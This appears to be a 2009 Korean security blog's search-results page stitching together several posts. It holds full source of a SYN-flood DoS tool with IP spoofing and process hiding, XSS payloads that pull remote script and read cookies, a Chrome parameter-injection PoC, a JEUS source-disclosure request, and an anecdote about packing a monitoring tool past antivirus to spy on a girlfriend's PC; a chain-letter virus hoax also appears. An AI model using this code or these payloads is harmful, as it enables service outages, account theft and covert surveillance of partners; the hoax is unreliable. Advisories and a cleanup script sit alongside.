Search Results for '해킹&보안'


207 posts related to '해킹&보안'

  1. 2009/06/18 파일 압축 및 파일 합병 방법 -
  2. 2009/06/18 john the ripper 다운로드 및 간략한 사용법
  3. 2009/06/18 ***로 찍힌 비밀번호 알아내기 4
  4. 2009/06/18 Ddos 공격방법 7
  5. 2009/05/27 Mass SQL Injection 일괄 삭제하기 - VBScript
  6. 2009/05/25 [MS보안업데이트]2009년2월11일 Microsoft 보안업데이트
  7. 2009/05/25 [취약점]Microsoft Security Advisory (961040)
  8. 2009/05/25 [취약점]Google Chrome Browser (ChromeHTML://) Remote Parameter Injection
  9. 2009/05/25 [취약점]TmaxSoft JEUS Alternate Data Streams Vulnerability
  10. 2009/05/25 진보된 javascript obfuscated code - 악성코드 삽입을 통한 사용자 유인
  11. 2009/05/21 Life is Beautiful" (인생은 아름다워) 라는 pps 그림을 받을때
  12. 2009/05/20 [XSS] style의 \의 사용
  13. 2009/05/20 [XSS] createElement(), getElementById(), appendChild(), innerHTML() 1
  14. 2009/05/20 [XSS] createElement(), getElementById(), appendChild(), innerHTML()
  15. 2009/05/20 [XSS] <frameset><frame src=URL></frameset>
  16. 2009/05/20 [웹쉘] asp,php,jsp,aspx,cgi - 파일업로드 취약점에 사용 - 아래 나오는 공격 스크립트 입니다. 1
  17. 2009/05/20 웹서버에 기생하는 악성 '웹쉘'을 잡아주는 무료 유틸리티 - Whistl
  18. 2009/05/19 웹서버 체크 툴입니다. httpwatch
  19. 2009/05/19 Mass Exploits with SQL Injection
  20. 2009/05/19 [동영상] SQL Injection Signature Evasion Demonstration
  21. 2009/05/19 [동영상] Blindfolded SQL Injection 공격 시연
  22. 2009/05/19 MS-SQL sp_replwritetovarbin() 버퍼오버플로 취약점 공개
  23. 2009/05/19 어도비 웹사이트, SQL 인젝션 공격 당해
  24. 2009/05/19 무료 SQL 인젝션 스캐너 15 제품 요약 정리(#3/#3)
  25. 2009/05/19 무료 SQL 인젝션 스캐너 15 제품 요약 정리(#2/#3)
  26. 2009/05/19 무료 SQL 인젝션 스캐너 15 제품 요약 정리(#1/#3)
  27. 2009/05/19 Sqlmap, SQL 인젝션 공격 + 운영체제 침투 점검용 프로그램

전에 아는 분이. 여자친구 컴퓨터를 모니터링 하고 싶다고 했다.

절대 죽어도 안된다는 답변을 했고 그 아는 분이. 술을 마시고 죽는다고 했다.

참 이런 협박에 넘어가서.

좋다 . 그래 아주 간단하게 알려 주겠다. ㅎㅎ

그래서 해킹 툴을 알려 주고.

테스트 결과 100% 백신 걸리는 것이다 이런 .

그래서 용량을 압축하고 파일을 병합고 삽질 삽질 결과 V3 백신에 걸리지 않았다.

그래서 그친구는 약 1달 정도 여친 PC 를 모니터링 하더니 결국 헤어지고 말았다.

그때 사용했단 용량 압축 프로그램과 파일 합치는 프로그램 입니다. ^^

2009/06/18 17:21 2009/06/18 17:21
다운로드 :

출처 : john의 공식 site
         http://www.openwall.com/john/

사용법 :

1. 윈도우즈 용 john the ripper를 다운 받는다.

2. 특정한 위치에 저장을 한다.

3. cmd 창으로 해당 폴더로 이동한다.

4. john the ripper 1.7.x 버전의 경우 john-386.exe가 있다.
    그 이전 버전에는 john.exe로 존재하는 경우가 있다. (Windows 버전의 경우만 그렇다. 나머진 모른다.)
   이 위치를 잘 기억해 두자. (예. c:\john1701\run\)

5. 리눅스 시스템에서 암호화된 password를 가져와서 pass.txt로 저장한다.  
    자세히 보기
 
6. c:\john1701\run\john-386.exe pass.txt를 실행한다.
    옵션에 대한 정확한 글 보기 (출처: maxoverpro님의 네이버 블로그)

7. 진득하니... 오래오래... 기다린다...
    중간중간 너무 궁금하면 아무키나 누른다... 그럼 현재 검사하고 있는 문자열을 보여준다.
    넉넉히 몇일을 기다려 주자. 쩌비...

2009/06/18 17:16 2009/06/18 17:16
본 프로그램은 웹상에서 비밀번호 같은 것은 다 ***로 찍히잖아요?
그걸 원래 문자열로 보여주는 프로그램입니다.
2009/06/18 17:14 2009/06/18 17:14

다운 받으시구요..
컴파일 하시면 됩니다..
사용
./synk4 [srcaddr] [dstaddr] [low] [high
*srcaddr:출발지 주
*dstaddr:도착지 주
*low:시작 포트 번
*high: 끝 포트 번
만약 srcaddr(출발지 주소)가 0이면 임의의 주소(random)가 사용됩니다.


/* Syn Flooder by Zakath
 * TCP Functions by trurl_ (thanks man).
 * Some more code by Zakath.
 * Speed/Misc Tweaks/Enhancments -- ultima
 * Nice Interface -- ultima
 * Random IP Spoofing Mode -- ultima
 * How To Use:
 * Usage is simple. srcaddr is the IP the packets will be spoofed from.
 * dstaddr is the target machine you are sending the packets to.
 * low and high ports are the ports you want to send the packets to.
 * Random IP Spoofing Mode: Instead of typing in a source address,
 * just use '0'. This will engage the Random IP Spoofing mode, and
 * the source address will be a random IP instead of a fixed ip.
 * Released: [4.29.97]
 *  To compile: cc -o synk4 synk4.c
 *
 */
#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
/* These can be handy if you want to run the flooder while the admin is on
 * this way, it makes it MUCH harder for him to kill your flooder */
/* Ignores all signals except Segfault */
// #define HEALTHY
/* Ignores Segfault */
// #define NOSEGV
/* Changes what shows up in ps -aux to whatever this is defined to */
// #define HIDDEN "vi .cshrc"
#define SEQ 0x28376839
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int sock, ssock, curc, cnt;

/* Check Sum */
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
 register int nleft = len;
 register u_short *w = addr;
 register int sum = 0;
 u_short answer = 0;
 
 while (nleft > 1)
   {
    sum += *w++;
    nleft -= 2;
   }
 if (nleft == 1)
   {
    *(u_char *) (&answer) = *(u_char *) w;
    sum += answer;
   }
 sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
 sum += (sum >> 16);           /* add carry */
 answer = ~sum;                /* truncate to 16 bits */
 return (answer);
}
void sig_exit(int crap)
{
#ifndef HEALTHY
 printf("[H[JSignal Caught. Exiting Cleanly.\n");
 exit(crap);
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV
 printf("[H[JSegmentation Violation Caught. Exiting Cleanly.\n");
 exit(crap);
#endif
}

unsigned long getaddr(char *name) {
 struct hostent *hep;
 
 hep=gethostbyname(name);
 if(!hep) {
  fprintf(stderr, "Unknown host %s\n", name);
  exit(1);
 }
 return *(unsigned long *)hep->h_addr;
}


void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
 char buf[65536];
 struct {  /* rfc 793 tcp pseudo-header */
  unsigned long saddr, daddr;
  char mbz;
  char ptcl;
  unsigned short tcpl;
 } ph;
 
 struct sockaddr_in sin; /* how necessary is this, given that the destination
     address is already in the ip header? */
 
 ph.saddr=ih->saddr;
 ph.daddr=ih->daddr;
 ph.mbz=0;
 ph.ptcl=IPPROTO_TCP;
 ph.tcpl=htons(sizeof(*th)+dlen);
 
 memcpy(buf, &ph, sizeof(ph));
 memcpy(buf+sizeof(ph), th, sizeof(*th));
 memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
 memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
 th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
 
 memcpy(buf, ih, 4*ih->ihl);
 memcpy(buf+4*ih->ihl, th, sizeof(*th));
 memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
 memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
 
 ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
 memcpy(buf, ih, 4*ih->ihl);
 
 sin.sin_family=AF_INET;
 sin.sin_port=th->dest;
 sin.sin_addr.s_addr=ih->daddr;
 
 if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {
  printf("Error sending syn packet.\n"); perror("");
  exit(1);
 }
}

unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
 int i, s;
 struct iphdr ih;
 struct tcphdr th;
 struct sockaddr_in sin;
 int sinsize;
 unsigned short myport=6969;
 char buf[1024];
 struct timeval tv;
 
 ih.version=4;
 ih.ihl=5;
 ih.tos=0;   /* XXX is this normal? */
 ih.tot_len=sizeof(ih)+sizeof(th);
 ih.id=htons(random());
 ih.frag_off=0;
 ih.ttl=30;
 ih.protocol=IPPROTO_TCP;
 ih.check=0;
 ih.saddr=my_ip;
 ih.daddr=their_ip;
 
 th.source=htons(srcport);
 th.dest=htons(port);
 th.seq=htonl(SEQ);
 th.doff=sizeof(th)/4;
 th.ack_seq=0;
 th.res1=0;
 th.fin=0;
 th.syn=1;
 th.rst=0;
 th.psh=0;
 th.ack=0;
 th.urg=0;
 th.res2=0;
 th.window=htons(65535);
 th.check=0;
 th.urg_ptr=0;
 
 gettimeofday(&tv, 0);
 
 send_tcp_segment(&ih, &th, "", 0);
 
 send_seq = SEQ+1+strlen(buf);
}
void upsc()
{
 int i;
 char schar;
 switch(cnt)
   {
   case 0:
      {
       schar = '|';
       break;
      }
   case 1:
      {
       schar = '/';
       break;
      }
   case 2:
      {
       schar = '-';
       break;
      }
   case 3:
      {
       schar = '\\';
       break;
      }
   case 4:
      {
       schar = '|';
       cnt = 0;
       break;
      }
   }
 printf("[H[1;30m[[1;31m%c[1;30m][0m %d", schar, curc);
 cnt++;
 for(i=0; i<26; i++)  {
  i++;
  curc++;
 }
}
void init_signals()
{
 // Every Signal known to man. If one gives you an error, comment it out!
 signal(SIGHUP, sig_exit);
 signal(SIGINT, sig_exit);
 signal(SIGQUIT, sig_exit);
 signal(SIGILL, sig_exit);
 signal(SIGTRAP, sig_exit);
 signal(SIGIOT, sig_exit);
 signal(SIGBUS, sig_exit);
 signal(SIGFPE, sig_exit);
 signal(SIGKILL, sig_exit);
 signal(SIGUSR1, sig_exit);
 signal(SIGSEGV, sig_segv);
 signal(SIGUSR2, sig_exit);
 signal(SIGPIPE, sig_exit);
 signal(SIGALRM, sig_exit);
 signal(SIGTERM, sig_exit);
 signal(SIGCHLD, sig_exit);
 signal(SIGCONT, sig_exit);
 signal(SIGSTOP, sig_exit);
 signal(SIGTSTP, sig_exit);
 signal(SIGTTIN, sig_exit);
 signal(SIGTTOU, sig_exit);
 signal(SIGURG, sig_exit);
 signal(SIGXCPU, sig_exit);
 signal(SIGXFSZ, sig_exit);
 signal(SIGVTALRM, sig_exit);
 signal(SIGPROF, sig_exit);
 signal(SIGWINCH, sig_exit);
 signal(SIGIO, sig_exit);
 signal(SIGPWR, sig_exit);
}
main(int argc, char **argv) {
   int i, x, max, floodloop, diff, urip, a, b, c, d;
   unsigned long them, me_fake;
   unsigned lowport, highport;
   char buf[1024], *junk;
  
   init_signals();  
#ifdef HIDDEN
   for (i = argc-1; i >= 0; i--)
     /* Some people like bzero...i prefer memset :) */
     memset(argv[i], 0, strlen(argv[i]));
   strcpy(argv[0], HIDDEN);
#endif
  
   if(argc<5) {
      printf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
      printf("    If srcaddr is 0, random addresses will be used\n\n\n");
     
      exit(1);
   }
   if( atoi(argv[1]) == 0 )
     urip = 1;
   else   
     me_fake=getaddr(argv[1]);
   them=getaddr(argv[2]);
   lowport=atoi(argv[3]);
   highport=atoi(argv[4]);
   srandom(time(0));
   ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if(ssock<0) {
      perror("socket (raw)");
      exit(1);
   }
   sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
   if(sock<0) {
      perror("socket");
      exit(1);
   }
   junk = (char *)malloc(1024);
   max = 1500;
   i = 1;
   diff = (highport - lowport);
  
   if (diff > -1)
     {
 printf("[H[J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University\n of California. All Rights Reserved.");
 for (i=1;i>0;i++)
   {
      srandom((time(0)+i));
      srcport = getrandom(1, max)+1000;
      for (x=lowport;x<=highport;x++)
        {
    if ( urip == 1 )
      {
         a = getrandom(0, 255);
         b = getrandom(0, 255);
         c = getrandom(0, 255);
         d = getrandom(0, 255);
         sprintf(junk, "%i.%i.%i.%i", a, b, c, d);
         me_fake = getaddr(junk);
      }
   
    spoof_open(/*0xe1e26d0a*/ me_fake, them, x);
    /* A fair delay. Good for a 28.8 connection */
    usleep(300);
   
    if (!(floodloop = (floodloop+1)%(diff+1))) {
       upsc(); fflush(stdout);
    }
        }
   }
     }
   else {
      printf("High port must be greater than Low port.\n");
      exit(1);
   }
}

2009/06/18 16:40 2009/06/18 16:40

요즘 많은 분들이 MASS SQL Injection 으로 피해를 보고 있는것 같습니다. 필자도 물론 예외는 아니였습니다.
지금에야 '쿠키를 이용한 인젝션공격이였습니다' 라고 이야기를 하지만 얼마전까지만해도 스크립트가 추가된 구문을 볼때마다 필자가 관리하는 서버를 사용하는 분들에게 송구스러운 마음이 참 많았습니다.

예전부터 심심치 않게 SQL Injection 을 이용한 스크립트 삽입공격은 있었습니다.
쿼리스트링에 추가하여서 공격하는 수준이였기때문에 웹나이트(Webknight) 문법으로 전부 막아내는 쿼거(?)도 이루었던 적도 있습니다.

이렇게 자만하다 큰코다친겁니다.  제가 관리하는 몇개의 사이트가 스크립트가 추가되는 사례가 발견되더니 잊을만 하면 한번씩 스크립트가 추가되는 현상을 발견하게 되었고, 쇼핑몰같은 경우는 데이터베이스를 복구할수도 없는 그런 상황까지 겪게 되었습니다.

"목마른 사람이 우물을 판다"고 했던가요..
일단 삽입이 되도록 하는 구문을 분석하여서 이를 바탕으로 스크립트만 삭제하는 구문을 작성하려고 하였습니다. char, nchar, varchar, nvarchar 는 너무 쉽게 변경이 가능했지만 문제는 text, ntext 같은 대용량의 유니코드 형식의 데이터에서 스크립트를 삭제하는 부분이였습니다.

몇몇 다른 분들의 경우 text 타입을 varchar(8000) 으로 변환하고 이를 수정하는 방법을 선택하셨습니다.
이 방법도 좋은 방법입니다. 쿼리만으로 작업을 진행할수도 있고, 일단 SQL 쿼리를 구하기가 쉬웠습니다. ( SQL 쿼리를 공개해주신 분들 감사합니다.)

그래도 문제는 발생하였습니다. 문자열을 신문을 집어 넣은건지 상당히 큰 text 타입의 데이터를 만나버리고 말았던 것이였습니다.
결국 VBScript 를 이용해서 다시 작업을 하도록 변경하였습니다. (사실 SQL 쿼리 수정보다 VBScript가 더 쉽게 생각되었습니다.;)

이래서 탄생한 Replace_string_in_mssql.vbs 입니다.

열기


내용은 무척 간단합니다. 컬럼중에 text, ntext, varchar, char, nvarchar, nchar 에 해당하는 것들에 대해서 "<script" 라는 구문이 포함되어 있으면 삭제작업을 하는 것으로 text, ntext 타입에 대해서만 특별히 ado를 이용해서 처리하였습니다.


PS) 덕분에 웹방화벽인 웹나이트(webknight) 버젼업그레이드와 룰셋의 추가 작업에 매진(?) 하는 기간이 되었습니다. 계속되고 있습니다. 수정1. 컬럼명이 [컬럼명] 과 같은형식의 컬럼도 처리하도록 수정.
수정2. 내용이 없는 항목에 대한 구문오류 우회토록 수정.
2009/05/27 10:39 2009/05/27 10:39
■ 개 요

MS社는 2월 11일 Internet Explorer, MS Exchange 등에서 시스템 장악 등 해킹에 악용 가능한 보안취약점 4건(긴급 2, 중요 2)을 발표하였는 바, 각급기관은 해당 시스템에 대한 MS社의 보안 업데이트를 조속히 설치하시기 바랍니다.



■ 보안 업데이트에 포함된 취약점 및 관련 사이트

1
. Internet Explorer 누적 보안업데이트(긴급, 961260)

o 설 명
Internet Explorer에서 조작된 스타일 시트를 처리하는 과정 등에 원격코드 실행 취약점이 존재하여 공격자는 악의적인 웹페이지를 구축한 후 이메일 등을 통해 사용자의 방문을 유도하여 취약한 시스템에 대해 완전한 권한 획득이 가능하다.

o 관련 취약점
    - Uninitialized Memory Corruption Vulnerability(CVE-2009-0075)
    - CSS Memory Corruption Vulnerability(CVE-2009-0076)

o 영향받는 소프트웨어
   - Internet Explorer 7 for Microsoft Windows XP SP2, SP3
   - Internet Explorer 7 for Microsoft Windows XP Professional x64 Edition, SP2
   - Internet Explorer 7 for Microsoft Windows Server 2003 SP1, SP2
   - Internet Explorer 7 for Microsoft Windows Server 2003 SP1, SP2 for Itanium-based Systems
   - Internet Explorer 7 for Microsoft Windows Server 2003 x64 Edition, SP2
   - Internet Explorer 7 for Microsoft Windows Vista, SP1
   - Internet Explorer 7 for Microsoft Windows Vista x64 Edition, SP1
   - Internet Explorer 7 for Microsoft Windows Server 2008
   - Internet Explorer 7 for Microsoft Windows Server 2008 x64 Edition
   - Internet Explorer 7 for Microsoft Windows Server 2008 for Itanium-based Systems

o 영향받지 않는 소프트웨어
   - Internet Explorer 5.01 SP4 for Microsoft Windows 2000 SP4
   - Internet Explorer 6 SP1 for Microsoft Windows 2000 SP4
   - Internet Explorer 6 for Microsoft Windows XP SP2, SP3
   - Internet Explorer 6 for Microsoft Windows XP Professional x64 Edition, SP2
   - Internet Explorer 6 for Microsoft Windows Server 2003 SP1, SP2
   - Internet Explorer 6 for Microsoft Windows Server 2003 x64 Edition, SP2
   - Internet Explorer 6 for Microsoft Windows Server 2003 SP1, SP2 for Itanium-based Systems

o 관련사이트
→ 영문 : http://www.microsoft.com/technet/security/Bulletin/MS09-002.mspx
→ 한글 : http://www.microsoft.com/korea/technet/security/Bulletin/MS09-002.mspx

2. MS Exchange 취약점으로 인한 원격코드실행 문제점(긴급, 959239)

o 설 명
MS Exchange 서버에서 조작된 TNEF 메시지 및 MAPI 명령을 처리하는 과정에 원격코드 실행 취약점이 존재하여 공격자는 악의적으로 조작된 이메일을 Exchange 서버 사용자에게 전송, 열람을 유도하여  취약한 시스템에 대해 완전한 권한 획득이 가능하다.

* TNEF(Transport Neutral Encapsulation Format) : MS Exchange Server 및 Outlook 클라이언트에서 서식 있는 텍스트(RTF)를 보낼때 사용하는 형식
* MAPI(Message Application Programming Interface) : 이메일을 보내거나 현재 작성중인 문서를 이메일 내용으로 첨부할 수 있도록 해주는 인터페이스


o 관련 취약점
    - Memory Corruption Vulnerability(CVE-2009-0098)
    - Literal Processing Vulnerability(CVE-2009-0099)

o 영향받는 소프트웨어
   - Microsoft Exchange 2000 Server SP3
   - Microsoft Exchange Server 2003 SP2
   - Microsoft Exchange Server 2007 SP1

o 관련사이트
→ 영문 : http://www.microsoft.com/technet/security/Bulletin/MS09-003.mspx
→ 한글 : http://www.microsoft.com/korea/technet/security/Bulletin/MS09-003.mspx

3. SQL 서버의 취약점으로 인한 원격코드실행 문제점(중요, 959420)

o 설 명
MS SQL 서버에서 SQL 인젝션 공격이 가능한 취약점이 존재하여 공격자는 홈페이지에 악성코드 삽입, DB 내용 절취 등 취약한 시스템에 대해 완전한 권한 획득이 가능하다.

* SQL 인젝션 : DB에 정상적인 쿼리로 위장한 악의적인 쿼리를 전송, 이를 실행토록 하는 해킹수법

o 관련 취약점
    - SQL Server sp_replwritetovarbin Limited Memory Overwrite Vulnerability(CVE-2008-5416)

o 영향받는 소프트웨어
   - SQL Server 2000 SP4
   - SQL Server 2000 Itanium-based Edition SP4
   - SQL Server 2005 SP2
   - SQL Server 2005 x64 Edition SP2
   - SQL Server 2005 for Itanium-based Systems SP2
   - Microsoft SQL Server 2000 Desktop Engine(MSDE 2000) SP4
   - Microsoft SQL Server 2005 Express Edition SP2
   - Microsoft SQL Server 2005 Express Edition with Advanced Services SP2
   - Microsoft SQL Server 2000 Desktop Engine(WMSDE) on Windows Server 2003 SP1, SP2
   - Microsoft SQL Server 2000 Desktop Engine(WMSDE) on Windows Server 2003 x64 Edition,
      SP2
   - Windows Internal Database(WYukon) SP2 on Windows Server 2003 SP1, SP2
   - Windows Internal Database(WYukon) x64 Edition SP2 on Windows Server 2003 x64 Edition,
      SP2
   - Windows Internal Database(WYukon) SP2 on Microsoft Windows Server 2008
   - Windows Internal Database(WYukon) x64 Edition SP2 on Microsoft Windows Server 2008
      x64

o 영향받지 않는 소프트웨어
   - SQL Server 7.0 SP4
   - Microsoft Data Engine(MSDE) 1.0 SP4
   - SQL Server 2005 SP3
   - Application Center 2000 SP2
   - SQL Server 2005 x64 Edition SP2
   - SQL Server 2005 SP3 for Itanium-based
   - SQL Server 2008, x64, Itanium-based

o 관련사이트
→ 영문 : http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx
→ 한글 : http://www.microsoft.com/korea/technet/security/Bulletin/MS09-003.mspx

4. MS Visio 취약점으로 인한 원격코드실행 문제(중요, 957634)

o 설 명
MS Vsio에서 특정 파일을 처리하는 과정에 원격코드 실행 취약점이 존재하여 공격자는 악의적인 웹페이지를 구축한 후 사용자의 방문을 유도하거나 이메일 첨부파일을 열어보도록 유도하여 취약시스템에 대해 완전한 권한 획득이 가능하다.

o 관련 취약점
   - Memory Validation Vulnerability(CVE-2009-0095)
   - Memory Corruption Vulnerability(CVE-2009-0096)
   - Memory Corruption Vulnerability(CVE-2009-0097)

o 영향받는 소프트웨어
   - Microsoft Visio 2002 SP2
   - Microsoft Visio 2003 SP3
   - Microsoft Visio 2007 SP1

o 영향받지 않는 소프트웨어
   - Microsoft Office Visio 2002 Viewer
   - Microsoft Office Visio 2003 Viewer
   - Microsoft Office Visio Viewer 2007, SP1

o 관련사이트
→ 영문 : http://www.microsoft.com/technet/security/bulletin/MS09-005.mspx
→ 한글 : http://www.microsoft.com/korea/technet/security/bulletin/MS09-005.mspx


■ 참고정보
Microsoft Update
http://update.microsoft.com/microsoftupdate/v6/default.aspx?ln=ko

 

2009/05/25 13:52 2009/05/25 13:52

Vulnerability in SQL Server Could Allow Remote Code Execution

 

Purpose of Advisory: To provide customers with initial notification of the publicly disclosed vulnerability. For more information see the "Mitigating Factors," "Workarounds," and "Suggested Actions" sections of this security advisory.

Advisory Status: The issue is currently under investigation.

Recommendation: Review the suggested actions and configure as appropriate.

 

References Identification

CVE Reference

CVE-2008-4270

Microsoft Knowledge Base Article

961040


This advisory discusses the following software.

Affected Software

Microsoft SQL Server 2000 Service Pack 4

Microsoft SQL Server 2000 Itanium-based Edition Service Pack 4

Microsoft SQL Server 2005 Service Pack 2

Microsoft SQL Server 2005 x64 Edition Service Pack 2

Microsoft SQL Server 2005 with SP2 for Itanium-based Systems

Microsoft SQL Server 2005 Express Edition Service Pack 2

Microsoft SQL Server 2005 Express Edition with Advanced Services Service Pack 2

Microsoft SQL Server 2000 Desktop Engine (MSDE 2000) Service Pack 4

Microsoft SQL Server 2000 Desktop Engine (WMSDE)

Windows Internal Database (WYukon) Service Pack 2

Non-Affected Software

Microsoft SQL Server 7.0 Service Pack 4

Microsoft SQL Server 2005 Service Pack 3

Microsoft SQL Server 2005 x64 Edition Service Pack 3

Microsoft SQL Server 2005 with SP3 for Itanium-based Systems

Microsoft SQL Server 2008

Microsoft SQL Server 2008 x64 Edition

Microsoft SQL Server 2008 for Itanium-based Systems


MS업데이트 링크 : http://www.microsoft.com/technet/security/advisory/961040.mspx

POC 관련 링크 : http://support.microsoft.com/kb/961040

2009/05/25 13:50 2009/05/25 13:50
<!--
Google Chrome Browser (ChromeHTML://) remote parameter injection POC
by Nine:Situations:Group::bellick&strawdog
Site: http://retrogod.altervista.org/
tested against: Internet Explorer 8 beta 2, Google Chrome 1.0.154.36, Microsoft Windows XP SP3
List of command line switches:
http://src.chromium.org/svn/trunk/src/chrome/common/chrome_switches.cc
Original url: http://retrogod.altervista.org/9sg_chrome.html

click the following link with IE while monitoring with procmon
-->
<a href='chromehtml:www.google.com"%20--renderer-path="c:\windows\system32\calc.exe"%20--"'>click me</a>

# milw0rm.com [2008-12-23]
원문보기 : http://www.milw0rm.com/exploits/7566

 

2009/05/25 13:50 2009/05/25 13:50

Description:
On NTFS TmaxSoft JEUS, which is an famous web application server, contained
a vulnerability that allows an attacker to obtain web application source
files. This was caused by ADSs(Alternate Data Streams; ::$DATA).
JEUS couldn't handle ::$DATA. So it treated test.jsp::$DATA as an normal
file when it requested.
This is similar to the past MS Windows IIS vulnerability(Bid 0149).

Exploit:
The attacker can obtain them easily using an URL request.

hxxp://www.target.com/foo/bar.jsp::$DATA
(해커는 위와 같이 ADDs 요청을 통해서 서버의 소스를 획득할 수 있음)

위의 내용은 TmaxSoft JEUS의 취약점에 대해서 나온 것이다.


자세한 사항은 다음링크에서 확인하세요

http://www.milw0rm.com/exploits/7442

2009/05/25 13:49 2009/05/25 13:49

최근에 알려진 악성코드 삽입을 위해 사용하는 자바스크립트 삽입 방식입니다.

기존 방식보다더 좀더 꼬우기위해서 이번에는 변수치환 방법을 사용하고 있습니다.


(1) 치환

아래와 같은 코드의 의미는 9e1은 무시되고 뒤에 있는 it을 mutae에 할당한다.


mutae=(9e1,"it");

mutae="it"; 가 되겠군요..

(2) 조건



rgvij=(0.2e1>=4e1?.9075:"i"+"f");

0.2e1은 2와 동일합니다.

4e1은 40과 동일합니다.

아래와 같이 변환할 수 있겠네요..


if ( 2 >= 40 ? .9075  :  "i"+"f" )


만약 2 >= 40 조건식이 맞다면 .0975를 실행하고,,

     2 >= 40 조건식이 틀리다면  "i"+"f" 실행합니다. 마치 C 함수에서 일반적으로 쓰이는 조건 분기 방법을 사용합니다.


결국 40이 더크므로.."i"+"f" 가 실행되겠네요..

그리고 자바스크립트 해석기는 "i"+"f" 를 if 로 인식합니다.

 

revij="if"; 라는 식이겠네요..



3) 또 다른 치환

document[“write”](“text to print”); 는 아래와 같이 ..사용될 수도 있죠..



a = document;
b = “write”;
c = “text to print”;
a[b](c);


아래는 샘플입니다. 한 풀어보시죠..

aaa=(((0x4435,7.)>=(.61,9.12e2)?(1,4.033e3):(266,7.1e1)),((0x97<=.1?7.616e3:2.176e3),(.39<8e0?document:2032)))

2009/05/25 13:41 2009/05/25 13:41

Subject: Life is Beautiful" (인생은 아름다워) 라는 pps 그림을 받을때에는 여하
Life is Beautiful" (인생은 아름다워) 라는 pps 그림을 받을때에는 여하한 경우라도 열지말고 곧바로 삭제하기 바랍니다.
이 정보는 Microsft 와 Norton 에서 강력히 통보한 내용입니다.
만약 이파일을 열었다가는 "이미 때는 늦었습니다. 당신의 인생은 더이상 아름답지 안습니다" 라는 메세지가 나타날겁니다.
결과적으로 당신의 컴퓨터에 있는 모든것을 잃어버리게 됩니다.
동시에 이런 mail 을 보낸사람이 당신의 이름, e-mail 주소와 비밀번호등을 파악하게 될겁니다.

이것은 새로 발생한 바이러스(virus)로서 4,28(토요일) 오후에 활동을 시작한 virus 로서 AOL 에서 확인한바에 의하면 현존 어떤 virus 퇴치 프로그램으로도 이 virus 를 치료 없앨수가 없다고 합니다.
이 virus 는 자칭 "Life Owner (생명의 소유자)" 라고 하는 hacker 가 만들었다고 합니다.

본 메일의 사본을 꼭 주변 친구들에게 알려서 예방하세요~

2009/05/21 14:22 2009/05/21 14:22
ㅇ PoC
<IMG STYLE='xss:expre\ssion(alert("hacked"))'>
2009/05/20 18:36 2009/05/20 18:36
ㅇ createElement(), getElementById(), appendChild(), innerHTML() 이용,
    자바스크립트 사용 - for XSS

ㅇ 사이트 입력
<center id=xcuter></center><a onpropertychange='var x="scr"+"ipt"; var xcu=document.createElement(x); xcu.src="http://youngsam.kr/xss";document.getElementById("xcuter").appendChild(xcu);' href="xcuter"></a>

http://youngsam.kr/xss 의 내용
document.getElementById("xcuter").innerHTML = '<img src="" onerror="alert(document.cookie)"';
2009/05/20 18:36 2009/05/20 18:36
ㅇ createElement(), getElementById(), appendChild(), innerHTML() 이용,
    자바스크립트 사용 - for XSS

ㅇ 사이트 입력
<center id=xcuter></center><a onpropertychange='var x="scr"+"ipt"; var xcu=document.createElement(x); xcu.src="http://youngsam.kr/xss";document.getElementById("xcuter").appendChild(xcu);' href="xcuter"></a>

http://youngsam.kr/xss 의 내용
document.getElementById("xcuter").innerHTML = '<img src="" onerror="alert(document.cookie)"';
2009/05/20 18:36 2009/05/20 18:36
ㅇ 사이트 입력
   <frameset><frame src=http://youngsam.kr/xss></frameset>

http://youngsam.kr/xss 의 내용
    <img src="" onerror="alert(String.fromCharCode(88,83,83,32,72,65,67,75,69,68));" height=0 width=0>

ㅇ = alert('XSS HACKED)')

ㅇ 우회 방안 고민중 - frameset 앞에 <body>, "aa" 등 들어갈 경우 실패
<html>
<head><title>xss</title></head>
<frameset><frame src=http://youngsam.kr/xss></frameset>
</html>
2009/05/20 18:35 2009/05/20 18:35
[웹쉘] asp,php,jsp,aspx,cgi - 파일업로드 취약점에 사용 - 아래 나오는 공격 스크립트 입니다.

좀 위험 하긴 합니다.

2009/05/20 18:32 2009/05/20 18:32

웹방화벽 등의 고가의 보안 장비를 구입할 형편이나 예산이 되지 않는 중소기업의 웹 페이지는 늘 악성 공격에 위협을 받고 있다.

나름대로 이래저래 긴급 조치를 해보지만 보안 취약점을 원천적으로 해결하거나, 이미 악성 코드가 유입된 경우 이를 찾아 제거하기가 쉽지 않다. 특히 이런 악성코드는 일반 백신 소프트웨어로는 제대로 탐지가 되지 않아, 일일이 파일을 열어 확인하지 않는 이상 정확한 확인 조차 어렵다.

보통 윈도우 2000/2003 서버 운영체계를 사용하는 서버에서 보안 취약점 문제가 빈번하게 발생하는데, 그 중 윈도우 서버 관리자나 개발자라면 한번쯤음 들어봤음직 한 '웹셀'이란 해킹 툴이 가장 큰 문제다.

 

웹쉘은 해커 또는 크래커가 원격에서 웹페이지 형태의 탐색기 프로그램을 통해 해당 서버를 마음대로 주무를 수 있게 하는 해킹 툴이다. 즉 그 나쁜 놈(주로 중국 애들이다)들은 서버의 취약점(SQL Injection 등)을 이용해 이 웹셀 파일을 서버에 저장시킴으로써,

